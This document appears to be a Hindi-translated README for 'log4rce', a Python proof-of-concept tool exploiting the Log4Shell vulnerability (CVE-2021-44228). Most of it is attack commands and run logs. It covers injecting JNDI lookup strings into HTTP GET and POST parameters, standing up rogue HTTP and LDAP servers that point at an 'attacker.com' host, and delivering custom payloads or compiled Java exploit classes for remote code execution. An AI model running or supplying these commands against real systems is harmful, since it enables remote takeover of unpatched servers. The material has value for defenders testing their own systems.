
CVE-2021-44228 के लिए एक संपूर्ण शुद्ध Python PoC
CVE-2021-44228 के लिए एक ऑल-इन-वन शुद्ध Python3 PoC।
> python3 log4rce.py --target "linux" --payload "PAYLOAD" http -X POST --url "http://localhost:8080/" --data "address=###"
INFO:HTTP:Running on local port 1337
INFO:HTTP:Remote target is http://127.0.0.1:1337/LinuxExploit.class
INFO:LDAP:Running on local port 1387
INFO:Log4J:Sending payload to http://localhost:8080/
INFO:LDAP:Query from ('127.0.0.1', 42554)
INFO:HTTP:Request from ('127.0.0.1', 55328) to /LinuxExploit.class
INFO:Log4J:Done!
यह एक CLI टूल है। सभी विकल्प हेल्प मेनू में पाए जा सकते हैं:
python3 log4rce.py --help
सूची काफी लंबी है, इसलिए निम्नलिखित आपको कार्यक्षमता का सारांश देगा।
टूल आपको कुछ हमले के तरीकों का उपयोग करने की अनुमति देता है। ये हमले Log4RCE क्लास के विस्तार हैं।
आप लक्षित URL पर एक स्वचालित HTTP रिक्वेस्ट हमला कर सकते हैं।
आप GET रिक्वेस्ट निम्नानुसार कर सकते हैं:
python3 log4rce.py http --url "http://www.vuln.com:1234/?vuln_param=###¶m=123" --headers="P1=123&P2=123"
आप POST रिक्वेस्ट निम्नानुसार कर सकते हैं:
python3 log4rce.py http -X POST --url "http://www.vuln.com:1234/" --data "vuln_param=###¶m=123" --headers="P1=123&P2=123"
पूर्ववर्ती ### में JNDI टैग इंजेक्ट करेगा।
यदि आप उपरोक्त में से किसी का उपयोग नहीं कर सकते हैं, तो JDNI टैग डंप करने के लिए इस मोड का उपयोग करें:
python3 log4rce.py manual
टूल अधिकांश नेटवर्क कॉन्फ़िगरेशन के लिए व्यापक अनुकूलन की अनुमति देता है। रिमोट सेटिंग्स के अनुसार सभी आंतरिक सर्वरों को विभिन्न स्थानों की ओर इंगित करने के लिए संशोधित किया जा सकता है।
आप निम्नलिखित पैरामीटर का उपयोग करके HTTP सर्वर कॉन्फ़िगर कर सकते हैं:
python3 log4rce.py --http_port 1234 --http_rport 12345 --http_host "attacker.com"
http_port: The local port to run the server on.
http_rport: The port that a remote machine accesses.
http_host: The host name/IP a remote machine accesses.
आप निम्नलिखित पैरामीटर का उपयोग करके LDAP सर्वर कॉन्फ़िगर कर सकते हैं:
python3 log4rce.py --ldap_port 1234 --ldap_rport 12345 --ldap_host "attacker.com"
ldap_port: The local port to run the server on.
ldap_rport: The port that a remote machine accesses.
ldap_host: The host name/IP a remote machine accesses.
टूल कुछ अनुकूलन संभाल सकता है। निम्नलिखित कुछ कार्यक्षमताओं को सूचीबद्ध करता है जिनमें आपकी रुचि हो सकती है।
आप निम्न का उपयोग करके Java क्लास में पेलोड इंजेक्ट कर सकते हैं:
python3 log4rce.py --payload "PAYLOAD"
पेलोड को "###" स्ट्रिंग्स में इंजेक्ट किया जाएगा।
आप निम्नलिखित का उपयोग करके अपनी खुद की Java क्लास बना सकते हैं।
javac -source 1.7 -target 1.7 /path/to/Exploit.java
परिणामी .class को निम्न का उपयोग करके चलाया जा सकता है:
python3 log4rce.py --java_class "/path/to/Exploit.class" ...
नोट: पेलोड इंजेक्शन की अनुमति देने के लिए आप एक स्ट्रिंग "###" जोड़ सकते हैं।